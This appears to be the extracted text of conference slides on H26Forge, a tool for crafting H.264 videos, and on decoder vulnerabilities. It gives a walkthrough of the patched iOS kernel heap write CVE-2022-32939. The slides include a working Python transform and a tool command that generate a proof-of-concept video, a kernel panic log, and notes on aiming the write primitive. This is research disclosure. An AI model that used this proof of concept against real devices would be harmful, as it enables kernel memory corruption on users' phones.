- H.264 bitstreams are divided into Network Abstraction Layer Units (NALUs)
- Syntax elements have semantics, but semantics are not always enforced
- Modifying syntax elements is currently a challenging process

Syntax Elements

Semantics

H26Forge

https://www.wasatchsteel.com/wp-content/uploads/2019/11/history-steel-metal-forging.jpg

https://upload.wikimedia.org/wikipedia/commons/thumb/c/cd/H.264%2C_MPEG-4_AVC_logo.svg/2560px-H.264%2C_MPEG-4_AVC_logo.svg.png

Programmatically edit H.264 syntax elements with Python scripts

```
hrd_parameters( ) {
    cpb_cnt_minus1
    bit_rate_scale
    cpb_size_scale
    for( SchedSelIdx = 0; SchedSelIdx <= cpb_cnt_minus1; Sche
        bit_rate_value_minus1[ SchedSelIdx ]
        cpb_size_value_minus1[ SchedSelIdx ]
        cbr_flag[ SchedSelIdx ]
    }
```

```python
# Set `cpb_cnt_minus1` to large value
cpb_cnt_minus1 = 255
decoded_syntax["spses"][0]["vui_parameters"]["vcl_hrd_parameters"]["cpb_cnt_minus1"] = cpb_cnt_minus1

# Set dependent syntax elements to incrementing values
decoded_syntax["spses"][0]["vui_parameters"]["vcl_hrd_parameters"]["bit_rate_value_minus1"] = [i for i in range(cpb_cnt_minus1+1)]
decoded_syntax["spses"][0]["vui_parameters"]["vcl_hrd_parameters"]["cpb_size_values_minus1"] = [i for i in range(cpb_cnt_minus1+1)]
decoded_syntax["spses"][0]["vui_parameters"]["vcl_hrd_parameters"]["cbr_flag"] = [False] * (cpb_cnt_minus1+1)
```

H26Forge: Toolkit to manipulate H.264 Syntax Elements

https://github.com/h26forge/h26forge

30,000+ lines of Rust



Open Source
MIT License

H26Forge: Toolkit to manipulate H.264 Syntax Elements

https://github.com/h26forge/h26forge



H26Forge: Toolkit to manipulate H.264 Syntax Elements

https://github.com/h26forge/h26forge



H26Forge: Toolkit to manipulate H.264 Syntax Elements

https://github.com/h26forge/h26forge



H26Forge: Toolkit to manipulate H.264 Syntax Elements

https://github.com/h26forge/h26forge



H26Forge: Toolkit to manipulate H.264 Syntax Elements

https://github.com/h26forge/h26forge



Generate H.264 videos with randomized syntax elements

E.1.2 HRD parameters syntax

hrd_parameters( ) {	C	Descriptor
cpb_cnt_minus1	0 | 5	ue(v)
bit_rate_scale	0 | 5	u(4)
cpb_size_scale	0 | 5	u(4)
for(SchedSelIdx = 0; SchedSelIdx <= cpb_cnt_minus1; SchedSelIdx++) {		
bit_rate_value_minus1[SchedSelIdx **]**	0 | 5	ue(v)
cpb_size_value_minus1[SchedSelIdx **]**	0 | 5	ue(v)
cbr_flag[SchedSelIdx **]**	0 | 5	u(1)
}		
initial_cpb_removal_delay_length_minus1	0 | 5	u(5)
cpb_removal_delay_length_minus1	0 | 5	u(5)
dpb_output_delay_length_minus1	0 | 5	u(5)
time_offset_length	0 | 5	u(5)
}		

```
"cpb_cnt_minus1": {
  "min": 0,
  "max": 255
},
"bit_rate_scale": {
  "min": 0,
  "max": 15
},
"cpb_size_scale": {
  "min": 0,
  "max": 15
},
"bit_rate_value_minus1": {
  "min": 0,
```



Vulnerabilities discovered with H26Forge

- Found vulnerabilities in video players, kernel extensions, and hardware:
  - CVE-2022-3266: Firefox out-of-bounds read
  - CVE-2022-48434: FFmpeg use-after-free
  - CVE-2022-32939: iOS kernel heap write
  - CVE-2022-42846: iOS kernel DoS (0-click)
  - CVE-2022-42850: iOS kernel heap overflow
  - Hardware information leak





The Most Dangerous Codec in the World:
Finding and Exploiting Vulnerabilities in H.264 Decoders

Willy R. Vasquez, *The University of Texas at Austin*
Stephen Checkoway, *Oberlin College*
Hovav Shacham, *The University of Texas at Austin*

Abstract

Modern video encoding standards such as H.264 are a marvel of hidden complexity. But with hidden complexity comes hidden security risk. Decoding video in practice means interacting with dedicated hardware accelerators and the proprietary, privileged software components used to drive them. The video decoder ecosystem is obscure, opaque, diverse, highly privileged, largely untested, and highly exposed—a dangerous combination.

self-contained, sandboxed software libraries, the attack surface for video processing is larger, more privileged, and, as we explain below, more heterogeneous.

On the basis of a guideline they call "The Rule Of 2,"[2] the Chrome developers try to avoid writing code that does more than 2 of the following: parses untrusted input, is written in a memory-unsafe language, *and* runs at high privilege. The video processing stack in Chrome violates the Rule of 2, and so do the corresponding stacks in other major browsers and

Details in paper
https://wrv.github.io/h26forge.pdf

CVE-2022-32939: iOS Kernel Heap Write Vuln



https://media.tenor.com/RfOomnnYJkEAAAAC/apple-glitch.gif

Tools Used for Analysis

CORELLIUM

H26FORGE

Apple Mobile Hardware Video Decoder

AppleD5500

- Found in up to A11 SoCs (iPhone 8)
- Imagination Technologies
- AppleD5500.kext

AppleAVD

- Introduced in A12 SoCs and M1 Macs
- Apple
- AppleAVD.kext

Found 3 parsing vulnerabilities in AppleD5500.kext

- CVE-2022-42850: Heap overflow
- CVE-2022-42846: DoS (0-click)
- **CVE-2022-32939: Controlled write**

CVE-2022-22675
AppleAVD H.264 vulnerability exploited in the wild!

We demonstrate how to exploit it for a heap overflow

CVE-2022-32939: iOS Controlled write

- Heap overflow from missing bounds check on emulation prevention byte (EPB) handling
- Found with H26Forge video generation
- **iOS Kernel controlled heap write vulnerability**
- Requires an information leak
- **Triggerable from video thumbnailing –0-click attack surface**
- Patched in
  - iOS 15.7.1 and 16.1
  - iPadOS 15.7.1 and 16

```
./h26forge --mp4 --mp4-rand-size --safes
a-pred --ignore-ipcm --config config/def
1/video.1689627131.0099.264
Log saved to tmp/rand_100_vids_168962713
dev@dev-vm:~/Downloads/h26forge-linux-x8
rand_100.log
video.1689627131.0000.264
video.1689627131.0000.264.mp4
video.1689627131.0000.264.safestart.264
video.1689627131.0000.264.safestart.mp4
video.1689627131.0001.264
video.1689627131.0001.264.mp4
video.1689627131.0001.264.safestart.264
video.1689627131.0001.264.safestart.mp4
video.1689627131.0002.264
video.1689627131.0002.264.mp4
video.1689627131.0002.264.safestart.264
video.1689627131.0002.264.safestart.mp4
```



https://upload.wikimedia.org/wikipedia/en/b/ba/DrawingHands.jpg

Graphics Driver

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: An app may be able to execute arbitrary code with kernel privileges

Description: The issue was addressed with improved bounds checks.

CVE-2022-32939: Willy R. Vasquez of The University of Texas at Austin

https://support.apple.com/en-us/HT213490

Emulation Prevention Bytes (EPBs)

Emulation Prevention Bytes (EPBs)

- H.264 bitstream is split into NALUs with start code: 00 00 00 01

Start Codes

NALU: Network Abstraction Layer Unit

NALU Header

```
00000001 6764000B ACD9424D F8840000
000168EB ECB22C00 00016588 8400197F
32C80001 06090682 C5570000 0001419A
216C4197 2EB0
```

Emulation Prevention Bytes (EPBs)

- H.264 bitstream is split into NALUs with start code: 00 00 00 01
- Issue: What if this sequence shows up **inside a NALU**?

Start Codes

NALU: Network Abstraction Layer Unit

NALU Header

00000001 6764000B ACD9424D F8840000
000168EB ECB22C00 00016588 8400197F
32C80001 06090682 C5570000 0001419A
216C4197 2EB0

Emulation Prevention Bytes (EPBs)

- H.264 bitstream is split into NALUs with start code: 00 00 00 01
- Issue: What if this sequence shows up **inside a NALU**?

Start Codes

NALU: Network Abstraction Layer Unit

NALU Header

00000001 6764000B ACD9424D F8840000
000168EB ECB22C00 00016588 8400197F
32C80001 06090682 C5570000 0001419A
216C4197 2EB0

Emulation Prevention Bytes (EPBs)

- H.264 bitstream is split into NALUs with start code: 00 00 00 01
- Issue: What if this sequence shows up **inside a NALU**?
- Solution: Emulation Prevention Bytes (EPBs)

Start Codes

NALU: Network Abstraction Layer Unit

NALU Header



Emulation Prevention Bytes (EPBs)

- H.264 bitstream is split into NALUs with start code: `00 00 00 01`
- Issue: What if this sequence shows up **inside a NALU**?
- Solution: Emulation Prevention Bytes (EPBs)
  - Insert an escape character, `03`, into the stream

Start Codes

NALU: Network Abstraction Layer Unit

NALU Header



Emulation Prevention Bytes (EPBs)

- H.264 bitstream is split into NALUs with start code: 00·00·00·01
- Issue: What if this sequence shows up **inside a NALU**?
- Solution: Emulation Prevention Bytes (EPBs)
  - Insert an escape character, 03, into the stream
  - 00·00·00·01 **becomes** 00·00·00·03·01

Start Codes

NALU: Network Abstraction Layer Unit

NALU Header



Emulation Prevention Bytes (EPBs)

- H.264 bitstream is split into NALUs with start code: 00 00 00 01
- Issue: What if this sequence shows up **inside a NALU**?
- Solution: Emulation Prevention Bytes (EPBs)
  - Insert an escape character, 03, into the stream
  - 00 00 00 01 **becomes** 00 00 00 03 01

Start Codes

NALU: Network Abstraction Layer Unit

NALU Header

00000001 6764000B ACD9424D F8840000
000168EB ECB22C00 00016588 8400197F
32C80001 06090682 C5570000 00030141
9A216C41 972EB0

Emulation Prevention Bytes (EPBs)

- H.264 bitstream is split into NALUs with start code: 00 00 00 01
- Issue: What if this sequence shows up **inside a NALU**?
- Solution: Emulation Prevention Bytes (EPBs)
  - Insert an escape character, 03, into the stream
  - 00 00 00 01 **becomes** 00 00 00 03 01

Start Codes

NALU: Network Abstraction Layer Unit

NALU Header

EPB: Emulation Prevention Byte

00000001 6764000B ACD9424D F8840000
000168EB ECB22C00 00016588 8400197F
32C80001 06090682 C5570000 00030141
9A216C41 972EB0

Emulation Prevention Bytes (EPBs)

- H.264 bitstream is split into NALUs with start code: 00·00·00·01
- Issue: What if this sequence shows up **inside a NALU**?
- Solution: Emulation Prevention Bytes (EPBs)
  - Insert an escape character, 03, into the stream
  - 00·00·00·01 **becomes** 00·00·00·03·01
  - Do this for 00·00·00· [00|01|02|03]

00000001 6764000B ACD9424D F8840000
000168EB ECB22C00 00016588 8400197F
32C80001 06090682 C5570000 00030141
9A216C41 972EB0

Start Codes

NALU: Network Abstraction Layer Unit

NALU Header

EPB: Emulation Prevention Byte

Emulation Prevention Bytes (EPBs)

- H.264 bitstream is split into NALUs with start code: `00·00·00·01`
- Issue: What if this sequence shows up **inside a NALU**?
- Solution: Emulation Prevention Bytes (EPBs)
  - Insert an escape character, `03`, into the stream
  - `00·00·00·01` **becomes** `00·00·00·03·01`
  - Do this for `00·00·00· [00|01|02|03]`
- Once NALUs are split, EPBs removed

```
00000001 6764000B ACD9424D F8840000
000168EB ECB22C00 00016588 8400197F
32C80001 06090682 C5570000 00030141
9A216C41 972EB0
```

Start Codes

NALU: Network Abstraction Layer Unit

NALU Header

EPB: Emulation Prevention Byte

Emulation Prevention Bytes (EPBs)

- H.264 bitstream is split into NALUs with start code: 00·00·00·01
- Issue: What if this sequence shows up **inside a NALU**?
- Solution: Emulation Prevention Bytes (EPBs)
  - Insert an escape character, 03, into the stream
  - 00·00·00·01 **becomes** 00·00·00·03·01
  - Do this for 00·00·00· [00|01|02|03]
- Once NALUs are split, EPBs removed

00000001 6764000BACD9424DF884
00000001 68EBECB22C
000001 65888400197F32C8000106090682C
5570000000301419A216C41972EB0

Start Codes

NALU: Network Abstraction Layer Unit

NALU Header

EPB: Emulation Prevention Byte

Emulation Prevention Bytes (EPBs)

- H.264 bitstream is split into NALUs with start code: 00·00·00·01
- Issue: What if this sequence shows up **inside a NALU**?
- Solution: Emulation Prevention Bytes (EPBs)
  - Insert an escape character, 03, into the stream
  - 00·00·00·01 **becomes** 00·00·00·03·01
  - Do this for 00·00·00· [00|01|02|03]
- Once NALUs are split, EPBs removed

00000001 6764000BACD9424DF884
00000001 68EBECB22C
000001 6588840019 7F32C8000106090682C
5570000001419A216C41972EB0

Start Codes

NALU: Network Abstraction Layer Unit

NALU Header

EPB: Emulation Prevention Byte

AppleD5500.kext EPB Handling

```
0000000167 64000BACA00000 03 0008000 03
           00100000 03 00100000 03 00201000
           . . .
           000003000200000300040000 03 00
           0400000 30008
```

Start Codes

NALU: Network Abstraction Layer Unit

NALU Header

EPB: Emulation Prevention Byte

AppleD5500.kext EPB Handling

```
0000000167 64000BACA00000030008000003
           001000000300100000030020100 0
           . . .
           000003000200000300040000030 0
           040000030008
```

Start Codes

NALU: Network Abstraction Layer Unit

NALU Header

EPB: Emulation Prevention Byte



```
uint epb_offset_array[256];
```

```
uint epbs;
```

AppleD5500.kext EPB Handling

```
0000000167 64000BAC A00000 03 0008000003
           001000000300100000030020100 0
           ...
           000003000200000300040000030 0
           040000030 0008
```

Start Codes

NALU: Network Abstraction Layer Unit

NALU Header

EPB: Emulation Prevention Byte

```
if (found_epb_pattern()) {
   this->epb_offset_array[epbs] = 8(offset-epbs);
   this->epbs++;
}
```



uint epb_offset_array[256];

uint epbs;

AppleD5500.kext EPB Handling

```
0000000167640000BACA0000003000800000300100000030010000003002010000...000003000200000300040000030004000030008
```

```
if (found_epb_pattern()) {
   this->epb_offset_array[epbs] = 8(offset-epbs);
   this->epbs++;
}
```



Start Codes

NALU: Network Abstraction Layer Unit

NALU Header

EPB: Emulation Prevention Byte

AppleD5500.kext EPB Handling

```
0000000167640000BACA000000030008000003
0010000003001000000300201000
...
0000030002000003000400000300
0400000300008
```

```
if (found_epb_pattern()) {
   this->epb_offset_array[epbs] = 8(offset-epbs);
   this->epbs++;
}
```



Start Codes

NALU: Network Abstraction Layer Unit

NALU Header

EPB: Emulation Prevention Byte

AppleD5500.kext EPB Handling

```
0000000167 64000B ACA00000 03 0008000003
           001000000300100000030020100 0
           ...
           000003000200000300040000030 0
           040000030 0008
```

Start Codes

NALU: Network Abstraction Layer Unit

NALU Header

EPB: Emulation Prevention Byte

```
if (found_epb_pattern()) {
   this->epb_offset_array[epbs] = 8(offset-epbs);
   this->epbs++;
}
```



uint epb_offset_array[256];

uint epbs;

AppleD5500.kext EPB Handling

```
0000000167 64000BAC A0000003 0008000003
           001000000300100000030020100 0
           ...
           000003000200000300040000030 0
           040000030 0008
```

Start Codes

NALU: Network Abstraction Layer Unit

NALU Header

EPB: Emulation Prevention Byte

```
if (found_epb_pattern()) {
   this->epb_offset_array[epbs] = 8(offset-epbs);
   this->epbs++;
}
```



uint epb_offset_array[256];

uint epbs;

AppleD5500.kext EPB Handling

```
0000000167 64000BACA0 00000300 08000003
           00100000 03 00100000 03 00201000
           ...
           000003 00020000 03 00040000 03 00
           040000 03 0008
```

```
if (found_epb_pattern()) {
   this->epb_offset_array[epbs] = 8(offset-epbs);
   this->epbs++;
}
```



Start Codes

NALU: Network Abstraction Layer Unit

NALU Header

EPB: Emulation Prevention Byte

AppleD5500.kext EPB Handling

```
0000000167 64000BACA0 00000300 08000003
           00100000 03001000 00300201000
           ...
           000003000200000300040000 0300
           040000030008
```

```
if (found_epb_pattern()) {
  this->epb_offset_array[epbs] = 8(offset-epbs);
  this->epbs++;
}
```



Start Codes

NALU: Network Abstraction Layer Unit

NALU Header

EPB: Emulation Prevention Byte

AppleD5500.kext EPB Handling

```
0000000167 64000BACA0 00000300 08000003
           00100000 03001000 00300201000
           ...
           000003000200000300040000030 0
           040000030008
```

```
if (found_epb_pattern()) {
  this->epb_offset_array[0] = 8(8-0);
  this->epbs++;
}
```



Start Codes

NALU: Network Abstraction Layer Unit

NALU Header

EPB: Emulation Prevention Byte

AppleD5500.kext EPB Handling

```
0000000167 64000BACA0 00000300 08000003
           00100000 03001000 00300201000
           ...
           000003000200000300040000030 0
           040000030008
```

```
if (found_epb_pattern()) {
  this->epb_offset_array[0] = 8(8);
  this->epbs++;
}
```



Start Codes

NALU: Network Abstraction Layer Unit

NALU Header

EPB: Emulation Prevention Byte

AppleD5500.kext EPB Handling

```
0000000167 64000BACA0 00000300 08000003
           00100000 03001000 00300201000
           ...
           000003000200000300040000030 0
           040000030008
```

```
if (found_epb_pattern()) {
  this->epb_offset_array[0] = 8(8);
  this->epbs++;
}
```



Start Codes

NALU: Network Abstraction Layer Unit

NALU Header

EPB: Emulation Prevention Byte

AppleD5500.kext EPB Handling

```
0000000167 64000BACA0 00000300 08000003
           00100000 03001000 00300201000
           ...
           000003000200000300040000030 0
           040000030008
```

Start Codes

NALU: Network Abstraction Layer Unit

NALU Header

EPB: Emulation Prevention Byte

```
if (found_epb_pattern()) {
  this->epb_offset_array[0] = 8(8);
  this->epbs++;
}
```



`uint epbs` serves as an array index

AppleD5500.kext EPB Handling

```
0000000167 64000BACA00000008000003
           001000000300100000030020100 0
           ...
           000003000200000300040000030 0
           040000030008
```

Start Codes

NALU: Network Abstraction Layer Unit

NALU Header

EPB: Emulation Prevention Byte

```
if (found_epb_pattern()) {
  this->epb_offset_array[epbs] = 8(offset-epbs);
  this->epbs++;
}
```



AppleD5500.kext EPB Handling

```
0000000167 64000BACA0000000080000
           00100000030010000030020 1000
           ...
           0000030002000030004000030 0
           0400000300008
```

Start Codes

NALU: Network Abstraction Layer Unit

NALU Header

EPB: Emulation Prevention Byte

```
if (found_epb_pattern()) {
  this->epb_offset_array[epbs] = 8(offset-epbs);
  this->epbs++;
}
```



AppleD5500.kext EPB Handling

```
0000000167 64000BACA000000080000
           0010000001000000201000
           ... (250 EPBs)
           0000000200000300040000030 0
           040000030 0008
```

Start Codes

NALU: Network Abstraction Layer Unit

NALU Header

EPB: Emulation Prevention Byte

```
if (found_epb_pattern()) {
  this->epb_offset_array[epbs] = 8(offset-epbs);
  this->epbs++;
}
```



AppleD5500.kext EPB Handling

```
0000000167 64000BACA000000080000
           001000000100000000201000
           ... (250 EPBs)
           000000020000030004000003 00
           040000030008
```

256th EPB

Start Codes

NALU: Network Abstraction Layer Unit

NALU Header

EPB: Emulation Prevention Byte

```
if (found_epb_pattern()) {
  this->epb_offset_array[epbs] = 8(offset-epbs);
  this->epbs++;
}
```



AppleD5500.kext EPB Handling

```
0000000167 64000BACA000000080000
           001000000100000000201000
           ... (250 EPBs)
           000000020000030000400000300
           040000030000 8
```

256th EPB

Start Codes

NALU: Network Abstraction Layer Unit

NALU Header

EPB: Emulation Prevention Byte

```
if (found_epb_pattern()) {
  this->epb_offset_array[epbs] = 8(offset-epbs);
  this->epbs++;
}
```



AppleD5500.kext EPB Handling

```
0000000167 64000BACA000000080000
           001000000100000000201000
           ... (250 EPBs)
           000000020000030004000003 00
           040000030008
```

256th EPB

Start Codes

NALU: Network Abstraction Layer Unit

NALU Header

EPB: Emulation Prevention Byte

```
if (found_epb_pattern()) {
  this->epb_offset_array[epbs] = 8(offset-epbs);
  this->epbs++;
}
```



AppleD5500.kext EPB Handling

```
0000000167 64000BACA000000080000
           0010000001000000201000
           ... (250 EPBs)
           0000000200000040000030 0
           040000030008
```

Start Codes

NALU: Network Abstraction Layer Unit

NALU Header

EPB: Emulation Prevention Byte

```
if (found_epb_pattern()) {
  this->epb_offset_array[epbs] = 8(offset-epbs);
  this->epbs++;
}
```



AppleD5500.kext EPB Handling

```
0000000167 64000BACA000000080000
           0010000001000000201000
           ... (250 EPBs)
           0000000200000040000030 0
           040000030008
```

```
if (found_epb_pattern()) {
  this->epb_offse                                    ;
  this->epbs++;
}
```

No Bounds Check!



`uint epb_offset_array[256];`

`uint epbs;`

Start Codes

NALU: Network Abstraction Layer Unit

NALU Header

EPB: Emulation Prevention Byte

AppleD5500.kext EPB Handling

```
0000000167 64000BACA000000080000
           001000000010000000201000
           ... (250 EPBs)
           000000020000000400003000
           040000030008
```

257th EPB Position P

Start Codes

NALU: Network Abstraction Layer Unit

NALU Header

EPB: Emulation Prevention Byte

```
if (found_epb_pattern()) {
  this->epb_offset_array[epbs] = 8(offset-epbs);
  this->epbs++;
}
```



AppleD5500.kext EPB Handling

```
0000000167 64000BACA000000080000
           0010000001000000201000
           ... (250 EPBs)
           0000000200000040000 0300
           040000030008
```

257th EPB Position P

```
if (found_epb_pattern()) {
  this->epb_offset_array[256] = 8(P-256);
  this->epbs++;
}
```



Start Codes

NALU: Network Abstraction Layer Unit

NALU Header

EPB: Emulation Prevention Byte

AppleD5500.kext EPB Handling

```
0000000167 64000BACA000000080000
           001000000010000000201000
           ... (250 EPBs)
           000000020000000400003 00
           040000030 0008
```

257th EPB Position P

```
if (found_epb_pattern()) {
  this->epb_offset_array[256] = 8(P-256);
  this->epbs++;
}
```



Start Codes

NALU: Network Abstraction Layer Unit

NALU Header

EPB: Emulation Prevention Byte

AppleD5500.kext EPB Handling

```
0000000167 64000BACA000000080000
           001000000010000000201000
           ... (250 EPBs)
           000000020000000400003000
           040000030008
```

257th EPB Position P

Start Codes

NALU: Network Abstraction Layer Unit

NALU Header

EPB: Emulation Prevention Byte

```
if (found_epb_pattern()) {
  this->epb_offset_array[256] = 8(P-256);
  this->epbs++;
}
```



AppleD5500.kext EPB Handling

```
0000000167 64000BACA000000080000
           0010000001000000201000
           ... (250 EPBs)
           0000000200000004000000
           040000030008
```

Start Codes

NALU: Network Abstraction Layer Unit

NALU Header

EPB: Emulation Prevention Byte

```
if (found_epb_pattern()) {
  this->epb_offset_array[epbs] = 8(offset-epbs);
  this->epbs++;
}
```



AppleD5500.kext EPB Handling

```
0000000167 64000BACA000000080000
           001000000010000000201000
           ... (250 EPBs)
           000000020000004000000
           040000030408
```

258th EPB Position Q

Start Codes

NALU: Network Abstraction Layer Unit

NALU Header

EPB: Emulation Prevention Byte

```
if (found_epb_pattern()) {
  this->epb_offset_array[epbs] = 8(offset-epbs);
  this->epbs++;
}
```



AppleD5500.kext EPB Handling



258th EPB Position Q

Start Codes

NALU: Network Abstraction Layer Unit

NALU Header

EPB: Emulation Prevention Byte

```
if (found_epb_pattern()) {
  this->epb_offset_array[8(P-256)+1] =
                          8(Q-8(P-256)+1);
  this->epbs++;
}
```



AppleD5500.kext EPB Handling

```
0000000167 64000BACA000000080000
           001000000010000000201000
           ... (250 EPBs)
           000000020000004000000
           040000030[illegible]
```

258th EPB Position Q

Start Codes

NALU: Network Abstraction Layer Unit

NALU Header

EPB: Emulation Prevention Byte

```
if (found_epb_pattern()) {
  this->epb_offset_array[8(P-256)+1] =
                          8(Q-8(P-256)+1);
  this->epbs++;
}
```



Panic! at the Kernel

```
panic(cpu 0 caller 0xfffffff0077cc728): Kernel data abort.
          x0:  0x0000000fffe5050 x1:  0x0000000000000001  x3:  0xfffffff0064f62f0, lr 0xfffffff0064f1a44 (saved state: 0xfffffff0d901
          x4:  0xffffffff7dcd14080 x5:  0xfffffff0d901b4ac  x7:  0xfffffffffffffffff
          x8:  0x00000000000008e3 x9:  0x0000000000000010  x11: 0x0000000003000000
         x12: 0x0000ffffff000000 x13: 0x0000000000000000  x15: 0x0000000000000010
         x16: 0x0000000000000028 x17: 0xfffffff443c68400  x19: 0xfffffff443c68400
         x20: 0x000000000000000d x21: 0x0000000000000000  x23: 0x0000000000000000
         x24: 0x0000000000000000 x25: 0xfffffff005[illegible]  x27: 0x0000000000000103
         x28: 0x000000000000001c fp:  0xfffffff0d90[illegible]  sp:  0xfffffff0d901b560
          pc:  0xfffffff0064f62f0 cpsr: 0x80000204  far: 0xffffffff443c77ffc
Debugger message: panic
Device: N69
Hardware Model: iPhone8,4
ECID: 89C51101EF1067B0
Boot args: -v debug=0x14e serial=3 gpu=0 ioasm_behavior=0
Memory ID: 0x0
OS release type: User
```

Generating CVE-2022-32939 PoC Video

AppleD5500.kext needs a valid long NALU with at least 258 EPBs to reach this condition

Encode large values in `offset_for_ref_frame` in Sequence Parameter Set (SPS)

if(pic_order_cnt_type == 0)		
log2_max_pic_order_cnt_lsb_minus4	0	ue(v)
else if(pic_order_cnt_type == 1) {		
delta_pic_order_always_zero_flag	0	u(1)
offset_for_non_ref_pic	0	se(v)
offset_for_top_to_bottom_field	0	se(v)
num_ref_frames_in_pic_order_cnt_cycle	0	ue(v)
for(i = 0; i < num_ref_frames_in_pic_order_cnt_cycle; i++)		
offset_for_ref_frame[i]	0	se(v)
}		

Genera

AppleD5500.kext
EF

Encode large va
Sec

```
if( pic_order_cnt_type == 0 )
    log2_max_pic_order_cnt_lsb_minus4
else if( pic_order_cnt_type == 1 ) {
    delta_pic_order_always_zero_flag
    offset_for_non_ref_pic
    offset_for_top_to_bottom_field
    num_ref_frames_in_pic_order_cnt_cycle
    for( i = 0; i < num_ref_frames_in_pic_order_cnt_cycle
        offset_for_ref_frame[ i ]
}
```

```python
##
# too_many_epbs
#
# Generate a video that has too many emulation prevention bytes by
# setting really large num_ref_frames_in_pic_order_cnt_cycle
#
# Triggers CVE-2022-32939
##
def too_many_epbs(ds):
    print("\t Adding enough offset_for_ref_frame to get a large number of epbs")
    sps_idx = 0

    ds["spses"][sps_idx]["pic_order_cnt_type"] = 1 # Mandatory

    # Set the pic_order_cnt_type == 1 syntax elements
    ds["spses"][sps_idx]["delta_pic_order_always_zero_flag"] = False
    ds["spses"][sps_idx]["offset_for_non_ref_pic"] = -1073741824
    ds["spses"][sps_idx]["offset_for_top_to_bottom_field"] = -1073741824

    # This generates 514 emulation prevention bytes
    num = 255
    ds["spses"][sps_idx]["num_ref_frames_in_pic_order_cnt_cycle"] = num
    ds["spses"][sps_idx]["offset_for_ref_frame"] = [-1073741824] * (num)

    # Need to adjust the slice for a different pic_order_cnt_type
    for i in range(len(ds["slices"])):
        ds["slices"][i]["sh"]["delta_pic_order_cnt"] = [0, 0]

    return ds
```

emulation_prevention_bytes.py M

transforms > paper_pocs > emulation_prevention_bytes.py > too_many_epbs

```python
##
# too_many_epbs
#
# Generate a video that has too many emulation prevention bytes by
# setting really large num_ref_frames_in_pic_order_cnt_cycle
#
# Triggers CVE-2022-32939
##
def too_many_epbs(ds):
    print("\t Adding enough offset_for_ref_frame to get a large number of epbs")
    sps_idx = 0

    ds["spses"][sps_idx]["pic_order_cnt_type"] = 1 # Mandatory

    # Set the pic_order_cnt_type == 1 syntax elements
    ds["spses"][sps_idx]["delta_pic_order_always_zero_flag"] = False
    ds["spses"][sps_idx]["offset_for_non_ref_pic"] = -1073741824
    ds["spses"][sps_idx]["offset_for_top_to_bottom_field"] = -1073741824

    # This generates 514 emulation prevention bytes
    num = 255
    ds["spses"][sps_idx]["num_ref_frames_in_pic_order_cnt_cycle"] = num
```

OUTPUT TERMINAL PROBLEMS DEBUG CONSOLE

powershell

```
PS D:\research\h26forge> .\h26forge.exe --mp4 modify -i .\input_vids\SPS_PPS_I_P.264 -o .\cve-2022-32939.264 -t .\transforms\paper_pocs\emulation_prevention_bytes
.py
```


emulation_prevention_bytes.py M
SPS_PPS_I_P.264
cve-2022-32939.264 U
cve-2022-32939.264 - h26forge - Visual Studio Code
wrv's iPhone
iPhone SE
Capacity: 29.79 GB
Phone Number: n/a
Model Identifier: iPhone8,4
iOS 13.3
Update
Restore iPhone...
Backups
Automatically Back Up
iCloud
This Computer
Manually Back Up and Restore
Back Up Now
Restore Backup
Latest Backup:
Today 12:58 PM to this computer
Encrypt local Backup
Sync
OUTPUT
TERMINAL
PROBLEMS
DEBUG CONSOLE
3. Writing out Mutated H.264 File
reencode_syntax_elements - NALU 0 - Encoding Sequence Parameter Set
Meowdy Black Hat!
[X] Index Overwrite: 0x1fd1
[X] Write value: -54928 (0xffff2970)
[X] Added 514 emulation prevention bytes
reencode_syntax_elements - NALU 1 - Encoding Picture Parameter Set
[X] Added 0 emulation prevention bytes
reencode_syntax_elements - NALU 2 - Coded slice of an IDR picture
Art of

CVE-2022-32939: iOS Controlled write Summary

- The EPB array was missing a bounds check
  - Fix was to check if epbs < 256
- The 257th EPB location overwrites an index
  - Controls **where we write**
- The 258th EPB location stored at overwritten index
  - Controls **the value we write**
  - Limited to small negative 32-bit values
- More than 258 EPBs allows for continuous overwrite
- Exploitation requires:
  1. Validly encoded bitstream
  2. At least 258 EPBs
  3. Information leak vuln for targeting
- **Once you have a target, you can use H26Forge to tailor location of EPBs 257 and 258**







Conclusion

Decoder complexity is significant, and video decoding attack surface is difficult to explore

Codec Threat Landscape

https://i.imgflip.com/35af6q.jpg

Risks and Concerns

- Actors are abusing this in-the-wild
- Defenses are sparse



In the Wild Vulnerability: CVE-2022-22675

In-the-wild Apple Kernel 0-day 😱

Threat actor information not shared ❓

Believed to be part of an exploit chain on macOS with an Intel Graphics Driver information leak ⛓

Also impacts iOS 📱



macOS Monterey 12.3.1

Released March 31, 2022

AppleAVD

Available for: macOS Monterey

Impact: An application may be able to execute arbitrary code with kernel privileges

Description: An out-of-bounds write issue was addressed with improved bounds checking. Apple is aware of a report that this issue may have been actively exploited.

CVE-2022-22675: an anonymous researcher

Intel Graphics Driver

Available for: macOS Monterey

Impact: An application may be able to read kernel memory

Description: An out-of-bounds read issue may lead to the disclosure of kernel memory and was addressed with improved input validation. Apple is aware of a report that this issue may have been actively exploited.

CVE-2022-22674: an anonymous researcher

https://support.apple.com/en-us/HT213220

In-the-Wild Exploited Vuln: CVE-2023-4863

- libwebp is a WebP image format parser
- CVE-2023-4863 exploited in-the-wild on iOS
  - Heap overflow from specially crafted lossless webp file
- Impacted: iOS, Android, Chrome, Brave, Firefox, Edge, Safari, Signal, core libraries, 1Password, etc.



https://citizenlab.ca/2023/09/blastpass-nso-group-iphone-zero-click-zero-day-exploit-captured-in-the-wild/
https://blog.isosceles.com/the-webp-0day/
https://blog.cloudflare.com/uncovering-the-hidden-webp-vulnerability-cve-2023-4863/

In-the-Wild Exploited Vuln: CVE-2023-5217

- libvpx handles VP8 and VP9 encoding and decoding
- CVE-2023-5217 is VP8 Encoding Heap Overflow
- Exploited in Chrome
- PoC showing exploitation in Chrome AND Firefox: https://github.com/UT-Security/cve-2023-5217-poc





https://www.wiz.io/blog/cve-2023-4863-and-cve-2023-5217-exploited-in-the-wild
https://twitter.com/maddiestone/status/1707163313711497266

Codec Threat Landscape


https://i.imgflip.com/35af6q.jpg

Risks and Concerns

- Actors are abusing this in-the-wild
- Defenses are sparse




https://i.imgflip.com/35af6q.jpg

Positive Directions

- Stateless Video Decoder: parsing removed from the Linux kernel
- Performant software decoding: vulnerabilities can be isolated with sandboxing

RLBox

RLBox: Practical third-party library sandboxing

- Toolkit for sandboxing third party C libraries that are used by C++ code
- From academic research to real world use!
- Been in production in Firefox since 2020
  - **Expat**: XML Parser
